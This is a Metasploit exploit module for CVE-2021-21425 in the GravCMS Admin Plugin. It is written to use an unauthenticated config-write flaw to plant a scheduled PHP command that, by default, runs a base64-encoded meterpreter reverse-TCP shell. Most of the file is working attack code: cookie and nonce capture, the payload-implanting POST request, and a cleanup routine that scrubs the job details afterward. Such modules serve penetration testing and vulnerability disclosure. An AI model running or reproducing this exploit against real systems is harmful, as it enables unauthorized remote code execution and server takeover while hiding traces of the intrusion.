# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GravCMS Remote Command Execution',
'Description' => %q{
This module exploits arbitrary config write/update vulnerability to
achieve remote code execution.
Unauthenticated users can execute a terminal command under the
context of the web server user.
Grav Admin Plugin is an HTML user interface that provides a way
to configure Grav and create and modify pages.
In versions 1.10.7 and earlier, an unauthenticated user can execute
some methods of administrator controller without
needing any credentials. Particular method execution will result in
arbitrary YAML file creation or content change of
existing YAML files on the system. Successfully exploitation of
that vulnerability results in configuration changes,
such as general site information change, custom scheduler job
definition, etc. Due to the nature of the vulnerability,
an adversary can change some part of the webpage, or hijack an
administrator account, or execute operating system command
under the context of the web-server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <
],
'References' =>
[
['CVE', '2021-21425'],
['URL',
'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' =>
{
'payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64',
'WfsDelay' => 90
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2021-03-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
CONFIG_CHANGES # user/config/scheduler.yaml
]
}
)
)
end
def check
# During the fix, developers changed admin-nonce to
login-nonce.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
if res &&
!res.get_hidden_inputs.first['admin-nonce'].nil?
CheckCode::Appears
else
CheckCode::Safe
end
end
def capture_cookie_token
print_status 'Sending request to the admin path to generate cookie
and token'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
# Cookie must contain grav-site-az09-admin and admin-nonce form
field must contain value
if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/
&& !res.get_hidden_inputs.first['admin-nonce'].nil?
print_good 'Cookie and CSRF token successfully extracted !'
else
fail_with Failure::UnexpectedReply, 'The server sent a response,
but cookie and token was not found.'
end
@cookie = res.get_cookies
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
capture_cookie_token
@task_name = Rex::Text.rand_text_alpha_lower(5)
# Msf PHP payload does not contain quotes for many good reasons.
But a single quote will surround PHP binary's
# parameter due to the command execution library of the GravCMS.
For that reason, surrounding base64 part of the
# payload with a double quote is necessary to command executed
successfully.
payload.encoded.sub! 'base64_decode(', 'base64_decode("'
payload.encoded.sub! '));', '"));'
print_status 'Implanting payload via scheduler feature'
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config',
'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[custom_jobs][#{@task_name}][command]" =>
'/usr/bin/php',
"data[custom_jobs][#{@task_name}][args]" => "-r
#{payload.encoded}",
"data[custom_jobs][#{@task_name}][at]" => '* * * * *',
"data[custom_jobs][#{@task_name}][output]" => '',
"data[status][#{@task_name}]" => 'enabled',
"data[custom_jobs][#{@task_name}][output_mode]" => 'append'
}
)
if res && res.code == 200 &&
res.body.include?('Successfully saved')
print_good 'Scheduler successfully created ! Wait for 1
minute...'
end
end
def on_new_session
print_status 'Cleaning up the the scheduler...'
# Thanks to the YAML update method, we can remove the command
details from the config file just by re-enabling
# the scheduler without any parameter:) It will leave the only
command name in the config file.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config',
'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[status][#{@task_name}]" => 'enabled'
}
)
if res && res.code == 200 &&
res.body.include?('Successfully saved')
print_good 'The scheduler config successfully cleaned up!'
end
end
end

